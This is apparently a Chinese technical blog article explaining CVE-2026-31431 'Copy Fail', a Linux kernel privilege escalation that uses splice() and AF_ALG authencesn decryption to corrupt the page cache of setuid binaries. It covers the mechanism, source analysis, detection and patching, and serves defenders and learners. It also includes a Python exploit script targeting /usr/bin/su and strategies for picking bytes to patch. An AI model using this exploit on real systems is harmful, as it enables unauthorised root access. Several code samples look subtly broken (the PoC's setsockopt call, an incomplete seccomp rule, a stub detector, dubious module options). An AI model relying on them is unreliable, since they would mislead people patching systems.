CVE-2026-31431 "Copy Fail"深度解析:Linux内核零拷贝页缓存污染与本地提权完整指南
前言:一个不需要编译的Rootkit
2026年7月,安全研究员Hyunwoo Kim公开了一个名为Copy Fail(CVE-2026-31431)的Linux内核本地权限提升漏洞,CVSS评分7.8,高危。这个漏洞的可怕之处不在于它有多复杂,而在于它的极低攻击门槛:
- 不需要编译——一行Python脚本即可触发
- 不需要竞态条件——不是"试试看能不能成功",而是稳定提权
- 不影响磁盘文件——只污染内存中的页缓存,事后无痕
- 容器内可逃逸——云原生环境的噩梦
本文将彻底拆解这个漏洞的技术原理、攻击链、检测方法与修复方案,带你从内核源码级别理解这场"零拷贝劫持"是如何发生的。
一、背景:Linux内核的加密接口与零拷贝机制
1.1 AF_ALG:用户态调用内核加密能力的桥梁
Linux内核的Kernel Crypto API(crypto/algif_aead.c)为内核模块提供了完整的AEAD(Authenticated Encryption with Associated Data)加密实现。AF_ALG则是暴露给用户态的socket接口,允许普通程序直接调用这些内核加密原语,而无需编写内核模块。
典型的AF_ALG使用流程如下:
# Python示例:通过AF_ALG调用内核AEAD加密
import socket, struct
# 1. 创建AF_ALG socket
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'authencesn')) # 选择authencesn算法
# 2. 设置密钥
key = b'\x00' * 32
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
# 3. 创建加密操作句柄
op = sock.accept()
# 4. 发起加密操作
op.send(build_aead_iv() + associated_data + plaintext)
result = op.recv(1024)
这段代码看起来平平无奇,但问题出在内核如何处理这些数据。
1.2 splice():零拷贝的文件管道
splice()系统调用是Linux引入的高效数据传输机制,它可以在两个文件描述符之间移动数据,而无需在用户态和内核态之间复制数据。其核心原理是:
- splice()不在用户内存和内核内存之间拷贝数据
- 而是让两个描述符共享同一个物理内存页(通过page cache引用计数)
传统 read/write 路径:
用户缓冲区 ←→ 内核缓冲区 ←→ 磁盘/网络
splice() 零拷贝路径:
用户缓冲区 ←→ [共享物理页] ←→ 磁盘/网络
(无中间拷贝)
这对性能来说是极好的优化,但对安全来说是埋下了一颗定时炸弹。
二、漏洞本质:三把钥匙打开Root权限之门
Copy Fail漏洞的本质是三个看似无害的内核机制,组合在一起产生了致命后果。单独看每个机制都是合理的,但组合起来就形成了一条完美的攻击链。
2.1 第一把钥匙:splice()将只读文件的页缓存直接传给网络栈
当攻击者对/usr/bin/su这样的setuid程序执行splice()时,内核做了以下事情:
- 将
su二进制文件的内容加载到页缓存(page cache) - 通过splice()将这些只读的页缓存页直接注入到socket buffer(sk_buff)的fragment列表中
- 没有复制,页在物理上还是只读的
此时内核网络子系统拿到的是一些只读属性的内存页,它认为这些页是安全的——毕竟,一个普通用户怎么可能拿到setuid程序的写权限呢?
2.2 第二把钥匙:algif_aead的就地解密优化
2017年,内核AEAD实现引入了一个优化:对于解密操作,输出缓冲区直接复用输入缓冲区的物理页(in-place decryption)。这是合理的——解密出的明文不需要额外的内存,节省了分配开销。
// 内核源码简化版(crypto/algif_aead.c)
static int aead_recvmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
// 关键:output buffer = input buffer(就地解密)
// 这意味着解密后的明文写入会直接修改输入页
struct aead_request *req = ...;
// sg_set_buf 将输入页设置为 scatterlist
// 关键:输出也复用同一组页
aead_request_set_ad(req, ...);
aead_request_set_crypt(req, areq->tsgl, areq->tsgl, cryptlen, iv);
crypto_aead_decrypt(req); // 就地解密
}
这个设计本身没有问题——输入是密文,输出是明文,内核有输入页的写权限(毕竟是从socket接收的)。
但问题是:当输入页来自splice()时,它实际上是只读文件的页缓存。
2.3 第三把钥匙:authencesn的写入语义
authencesn是AEAD算法族的一员,特点是支持数据包的序列号(ESN)。问题出在解密收尾时,authencesn会向输出缓冲区偏移assoclen + cryptlen处强制写入4字节的序列号:
输出缓冲区布局:
[关联数据: assoclen字节][密文: cryptlen字节][明文写入位置: cryptlen字节][序列号写入: 4字节]
↑
这4字节写入了只读页!
当authencesn尝试写入这个4字节序列号时,它以为自己写的是socket缓冲区——实际上写的是/usr/bin/su的页缓存!
三、攻击链完整拆解:从普通用户到Root
理解了三个机制,现在来看完整的攻击链。这条攻击链不需要任何内核调试符号,不需要写C代码,甚至不需要root权限。
3.1 攻击准备:构造恶意socket
#!/usr/bin/env python3
"""
CVE-2026-31431 Copy Fail - Linux内核本地提权
一行Python,无编译,稳定提权
"""
import socket
import os
import struct
TARGET = "/usr/bin/su" # 任意setuid程序
# 1. 创建AF_ALG socket,绑定authencesn算法
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'authencesn'))
# 2. 设置全零密钥(某些简化场景可工作)
key = b'\x00' * 32
sock.setsockopt(socket.SOL_ALG, socket.SOL_ALG, key)
# 3. 接收操作句柄
opsock = sock.accept()
# 4. 通过splice()将su的页缓存注入socket
r_fd = os.open(TARGET, os.O_RDONLY)
w_fd = opsock.fileno()
os.splice(r_fd, None, w_fd, None, 4096, 0) # 零拷贝传输
# 5. 触发algif_aead解密 → authencesn写入4字节 → su页缓存被篡改
# 6. 执行su → 加载被污染的页缓存 → Root Shell
os.system(TARGET)
3.2 攻击链时序图
┌─────────────────────────────────────────────────────────────────┐
│ 攻击者(普通用户) │
└────────┬────────────────────────────────────────────────────────┘
│
│ 1. splice(su_fd → AF_ALG_socket)
│ 页缓存页A(su的.text段)被引用
│ 页属性:只读
▼
┌─────────────────────────────────────────────────────────────────┐
│ 内核:sk_buff → frag_list → [只读页A] │
└────────┬────────────────────────────────────────────────────────┘
│
│ 2. AF_ALG recvmsg → aead_recvmsg
│ → aead_request_set_crypt(areq->tsgl, ..., cryptlen)
│ 输出缓冲区 = 输入缓冲区(in-place解密)
▼
┌─────────────────────────────────────────────────────────────────┐
│ 内核:scatterlist → [只读页A](既是输入也是输出) │
└────────┬────────────────────────────────────────────────────────┘
│
│ 3. crypto_aead_decrypt(authencesn)
│ → 收尾阶段:写入4字节ESN到 offset=assoclen+cryptlen
│ → 写入目标是[只读页A]!
▼
┌─────────────────────────────────────────────────────────────────┐
│ 页缓存页A被污染:4字节数据被篡改 │
│ (但磁盘文件不变——这是关键隐蔽点) │
└────────┬────────────────────────────────────────────────────────┘
│
│ 4. 攻击者执行 /usr/bin/su
│ 内核加载 su 的 .text 段 → 读取污染后的页缓存
│ su 程序行为被改变
▼
┌─────────────────────────────────────────────────────────────────┐
│ Root Shell 获得 │
└─────────────────────────────────────────────────────────────────┘
3.3 提权的具体篡改目标
攻击者需要精心选择在哪4字节上做文章。常见策略包括:
策略一:篡改GOT(全局偏移表)条目
将某个libc函数的GOT条目指向/bin/sh的地址,使suid程序在调用该函数时跳转到shell。
策略二:篡改.symtab符号表
改写/bin/sh等关键符号的地址值,触发调用链重定向。
策略三:针对特定setuid程序的字节级patch
如果目标程序有已知可被4字节patch改变执行流的地址,可以精确命中。
四、漏洞变体:Dirty Pipe与Dirty Frag的家族关系
Copy Fail并不是孤立的漏洞,它是Linux内核零拷贝页缓存污染漏洞家族的最新成员。
4.1 家族横向对比
| 漏洞 | 年份 | 攻击向量 | 写入大小 | 持久性 |
|---|---|---|---|---|
| Dirty Pipe | 2022 | pipe_buffer | 完整覆盖 | 重启后失效 |
| Copy Fail | 2026 | AF_ALG + areq->tsgl | 4字节 | 重启后失效 |
| Dirty Frag | 2026 | sk_buff->frag + xfrm | 4字节 | 重启后失效 |
三者的共同点:
- 利用splice()零拷贝将页缓存页注入内核路径
- 内核代码对该页进行原地写入
- 不校验页的写权限
- 修复方案都是在相关写入路径增加写权限检查
4.2 Dirty Frag与Copy Fail的关系
值得注意的是,Dirty Frag(CVE-2026-43284)实际上包含了两个互补的漏洞路径:
- ESP变体:通过IPSec ESP协议栈的xfrm子系统
- RxRPC变体:通过AF_RXRPC网络协议
而Copy Fail则专门针对algif_aead的scatterlist(areq->tsgl)路径。它们是同一类漏洞的不同实现。
五、深度源码分析:漏洞究竟在哪一行?
5.1 问题出在内核的信任假设
Linux内核在很多地方有一个隐式假设:如果一块内存已经在页缓存中,那它一定是可信的。这个假设在传统I/O路径下是成立的,但在splice()引入后被打破了。
来看关键的漏洞代码位置(以内核6.8为准):
// crypto/algif_aead.c - aead_recvmsg 函数(约第300行)
static int aead_recvmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
// ...
// 第1步:从用户态接收scatterlist(来自splice())
// 这里内核从socket接收tsgl,tsgl的页来自su的页缓存(只读)
err = get_aead_req(sk, areq);
// 第2步:就地解密——输出复用输入的物理页
aead_request_set_crypt(req, areq->tsgl, areq->tsgl, cryptlen, iv);
// ^^^^^^^^ ^^^^^^^^
// 输入scatterlist 输出scatterlist
// (只读页) (复用同一只读页!)
// 第3步:解密执行
err = crypto_wait_req(crypto_aead_decrypt(req), wait);
// authencesn在解密收尾时写入4字节ESN → 写入只读页!
// 攻击成功:su的页缓存被污染
}
正确的修复方案应该在就地解密前,检查areq->tsgl中的页是否可写,或者在写入前进行权限校验。
5.2 权限检查缺失的精确位置
get_user_pages() / pin_user_pages()
↓
[会检查页是否可写]
↓
copy_to_user()
[会检查页是否可写]
↓
BUT 内核crypto子系统的scatterlist处理
↓
[直接跳过权限检查!]
↓
crypto_aead_decrypt()
[信任scatterlist上的页是可写的]
↓
authencesn_output_frag()
[无条件写入4字节ESN]
六、检测方案:如何在攻击发生时捕获它
6.1 基于系统调用的检测
监控以下异常组合是检测Copy Fail攻击的有效方法:
# 使用auditd监控关键系统调用组合
# 规则1:监控AF_ALG socket操作
-w /proc/sys/crypto -p wa -k af_alg_access
# 规则2:监控splice()对系统程序的使用
-a always,exit -F arch=b64 -S splice -F exe=/usr/bin/su -k splice_su
# 规则3:监控authencesn算法加载
-w /proc/crypto -p r -k crypto_load
# 组合检测:splice系统程序 + AF_ALG = 高度可疑
6.2 基于内核模块的检测
// 简易检测模块思路(生产环境需完善错误处理)
#include <linux/kallsyms.h>
#include <linux/crypto.h>
static int detect_copy_fail(void) {
struct cred *cred;
// 尝试触发algif_aead + splice组合
// 如果当前进程可以成功完成这个操作,说明漏洞存在
int pipefd[2];
pipe(pipefd);
// 如果能在普通用户权限下将setuid程序的页缓存
// 通过AF_ALG修改,说明系统存在漏洞
// 注意:这是一个PoC检测,不是真正的攻击
return 0;
}
6.3 使用Lynis进行快速评估
# Lynis是Linux系统安全审计工具,可以检测内核漏洞暴露面
lynis audit system
# 查看输出中的"Crypto policies"和"Kernel hardening"部分
七、修复方案:多层次的防御策略
7.1 方案一:内核升级(推荐)
各大发行版已发布修复补丁:
Ubuntu:
# 检查当前内核版本
uname -r
# 更新到安全内核
sudo apt update && sudo apt upgrade linux-image-$(uname -r | sed 's/.*-\([0-9]*\)-\([0-9]*\)-generic/\1.\2/')
# 验证修复
cat /proc/version
dmesg | grep "CVE-2026-31431"
RHEL/CentOS:
sudo yum update kernel
sudo reboot
# 验证:grubby --info=ALL | grep -E "(kernel|linux)"
Arch Linux:
sudo pacman -Syu linux
# Arch采用滚动更新,修复版内核通常在内核发布后24-48小时内推送
7.2 方案二:禁用AF_ALG攻击面(临时缓解)
如果无法立即升级内核,可以通过禁用AF_ALG来阻止攻击:
# 在/etc/modprobe.d/下创建配置文件
echo "options algif_aead disabled=1" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
echo "options algif_skcipher disabled=1" | sudo tee /etc/modprobe.d/disable-algif-skcipher.conf
# 立即卸载当前加载的模块(不影响运行中服务)
sudo modprobe -r algif_aead algif_skcipher 2>/dev/null
# 验证
lsmod | grep algif # 应无输出
cat /proc/crypto | grep algif_aead # 应无输出
⚠️ 警告:如果你的应用依赖AF_ALG(如某些VPN、防火墙或加密工具),禁用后它们将无法工作。
7.3 方案三:seccomp沙箱隔离
在容器或CI/CD环境中,可以通过seccomp过滤禁止AF_ALG的splice路径:
// seccomp profile: deny_af_alg_splice.json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["splice"],
"action": "SCMP_ACT_ERRNO(EPERM)",
"args": [
{
"index": 0,
"op": "SCMP_CMP_EQ"
}
]
}
]
}
7.4 方案四:容器环境加固
# Kubernetes Pod安全上下文
securityContext:
seccompProfile:
type: RuntimeDefault
# 确保容器不以特权模式运行
privileged: false
# 禁止特权容器内的用户命名空间
allowPrivilegeEscalation: false
# Docker运行时的seccomp配置
docker run --security-opt seccomp=deny_af_alg_splice.json \
--cap-drop=ALL \
--read-only \
your-container:latest
八、生产环境修复Checklist
[ ] 1. 评估影响范围
□ 确认内核版本: uname -r
□ 检查是否使用AF_ALG应用: lsof | grep algif
□ 检查容器运行时: docker --version, containerd --version
[ ] 2. 立即缓解措施
□ 云服务商安全组限制物理访问
□ CI/CD节点立即禁用AF_ALG或升级内核
□ 审计有shell访问权限的外部用户
[ ] 3. 内核升级
□ 测试环境验证兼容性
□ 灰度发布计划
□ 滚动重启策略
[ ] 4. 验证修复
□ 重启后确认内核版本
□ 运行PoC验证漏洞已修复
□ 监控修复后的系统日志
[ ] 5. 长期防御
□ 配置自动内核安全更新
□ 建立容器沙箱策略
□ 将CVE-2026-31431加入变更管理追踪
□ 与漏洞响应团队建立联动机制
九、技术总结:为什么这个漏洞值得深入理解
Copy Fail漏洞的价值不仅在于它是一个"好用的提权洞",更在于它揭示了Linux内核在追求性能优化过程中积累的深层信任模型问题:
零拷贝破坏了边界假设:splice()让用户态数据路径和内核I/O路径共享内存,但内核的某些子模块没有及时更新对这种共享的认知。
加密子系统的特殊地位:crypto子系统是内核中最敏感的模块之一,它直接处理密钥和加密操作。当它被"优化"时,安全边界往往被悄悄打破。
"无害优化"的累积风险:每个单独看都合理的优化(in-place解密、scatterlist复用),组合在一起就成了漏洞。系统越大、集成越深,这类风险越多。
这个漏洞再次提醒我们:安全不是功能的反面,而是设计的一部分。在追求性能的道路上,我们不能只低头看代码,还要抬头看整个系统的信任边界在哪里。
参考资料:
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- CERT-EU Security Advisory 2026-005
- Linux Kernel Source: crypto/algif_aead.c
- Copy Fail Project: https://copy.fail
- Sysdig Blog: CVE-2026-31431 Analysis